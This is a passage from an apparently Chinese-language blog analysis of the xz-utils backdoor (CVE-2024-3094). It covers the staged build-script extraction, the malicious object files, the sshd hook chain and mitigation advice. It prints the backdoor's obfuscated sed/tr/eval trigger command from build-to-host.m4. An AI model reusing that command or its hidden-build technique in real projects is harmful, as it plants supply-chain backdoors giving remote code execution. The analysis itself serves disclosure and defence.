通过在受害者的OpenSSH服务器(SSHD)中注入恶意代码,从而让远程攻击者(持有特定私钥)能够通过SSH发送任意代码,并在认证步骤之前执行,进而有效控制受害者的整台机器。基于以上最终会实现RCE攻击(即远程代码执行攻击)。具体来说,整个漏洞利用的过程可总结如下。
- 阶段一:构建恶意脚本
(1). 执行“/xz-utils 5.6.0/m4/build-to-host.m4”第63行的sed \"r\n\" ./tests/files/bad-3-corrupt_lzma2.xz | eval tr "\t \-_" " \t_\-" | echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g" -d 2>/dev/null
命令
(2). 得到恶意脚本一,并将其执行
(3). 得到恶意脚本二,并将其执行(这是最终生成的恶意脚本) - 阶段二:生成恶意二进制文件
(1). 通过恶意脚本二生成最终的恶意二进制文件,即“/xz-utils 5.6.0/src/liblzma/.libs/liblzma_la-crc64_fast.o”和“/xz-utils 5.6.0/src/liblzma/.libs/liblzma_la-crc32_fast.o”
(2). 修改“/xz-utils 5.6.0/src/liblzma/Makefile“文件以将恶意二进制文件编译到目标库中,目标库即“/xz-utils 5.6.0/src/liblzma/.libs/liblzma.so” - 阶段三:触发目标漏洞后门
(1). SSHD加载“/xz-utils 5.6.0/src/liblzma/.libs/liblzma.so”
(2). SSHD通过加载器调用resolver()
函数
(3).resolver()
函数调用crc32_resolve()
函数/crc64_resolve()
函数
(4).crc32_resolve()
函数/crc64_resolve()
函数调用“/xz-utils 5.6.0/src/liblzma/.libs/liblzma_la-crc64_fast.o”中的_get_cpuid()
函数,该函数是漏洞后门的入口函数
a)._get_cpuid()
函数调用sub_A710()
函数(判断条件进入该漏洞后门初始化函数)
b).sub_A710()
函数调用_Llzma_block_param_encoder_0()
函数(该漏洞后门的初始化函数)
c)._Llzma_block_param_encoder_0()
函数调用sub_A310()
函数(对当前进程及系统环境变量进行判断,以满足该漏洞后门的触发条件)
d).sub_A310()
函数调用_Llzma_index_prealloc_0()
函数(劫持RSA_public_decrypt()
函数的GOT表(全局偏移表)),从而实现RCE攻击
(5). 最终调用_Llzma_index_stream_size_1()
函数来处理函数劫持后的逻辑
4、防范措施
目前受XZ攻击影响的应用仅有OpenSSH。但是OpenSSH与XZ并没有直接的关系,不过OpenSSH在使用的过程中会链接到“liblzma.so”库。而当OpenSSH链接到“liblzma.so”库后,就会触发恶意二进制文件(即“liblzma_la-crc64_fast.o”)中的操作。
4.1、针对措施
不要将系统中的xz-utils升级到5.6.0或者5.6.1版本,或者降低xz-utils的版本到5.6.0以下。
4.2、通用措施
上一章节所叙述的只是针对该漏洞特定的应对措施,不过由该漏洞我们应有所警惕,即如何避免类似该漏洞的供应链攻击?针对该问题,Richard W.M. Jones提出了以下几点看法。
- 定期删除上游项目中由Autoconf生成的杂项,并在软件包的准备阶段(即%prep)重新生成。这样做可以使得查看真实源代码变得更加容易,而不需要翻阅繁琐的生成的Shell脚本来寻找可能存在的后门。尽管某些项目可能依赖于特定或旧版本的Autoconf,但应该尽量修复这些问题,并在许多项目上使用Autoreconf来解决这个问题。
- 尽可能地避免使用Gnulib。Gnulib极其复杂,几乎没有人真正了解其内部工作原理。而且,对于Linux平台来说,Gnulib主要是用于在非Linux平台上进行移植,因此没有必要在Linux上使用它。
- 建立一个“安全路径”,类似于“关键路径”。“安全路径”软件包是一个有意设计为与默认启用的非常安全的服务相关联的非常小的软件包子集。虽然已经有了“关键路径”的概念,但是对于那些与安全相关的软件包,应该有一个更高级别的关注。
5、参考文献
- 突发: xz-utils 被注入后门 (CVE-2024-3094)
- 知名压缩软件 xz 被发现有后门,影响有多大?如何应对?
- 网络安全核弹攻击
- oss-security - backdoor in upstream xz/liblzma leading to ssh server compromise
- git.tukaani.org - xz.git/summary
- [WIP] XZ Backdoor Analysis and symbol mapping
- Filippo Valsorda: “I’m watching some folks reverse engineer the xz backdoor, sharing some preliminary analysis with permission. The hooked RSA_public_decrypt verifies a signature on the server’s host key by a fixed Ed448 key, and then passes a payload to system(). It’s RCE, not auth bypass, and gated/unreplayable.” — Bluesky
- xz/liblzma: Bash-stage Obfuscation Explained
- 文件 · debian/unstable · Debian / Xz Utils · GitLab
- xz-utils (5.6.1-1) - snapshot.debian.org
- amlweems/xzbot: notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)
- XZ恶意代码潜伏三年,差点引发核末日?后门投毒黑客身份成谜
- xz-utils后门漏洞 CVE-2024-3094 分析
- liblzma后门疑似国家级APT
- xz-sshd漏洞可能的原理解读——链接器监听机制
- 我的深刻教训之Flume中出现Ncat: Connection refused
- Three steps we could take to make supply chain attacks a bit harder - devel - Fedora Mailing-Lists
- 差点引爆全球的核弹,深度分析XZ-Utils供应链后门投毒
总结
以上就是关于CVE-2024-3094的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!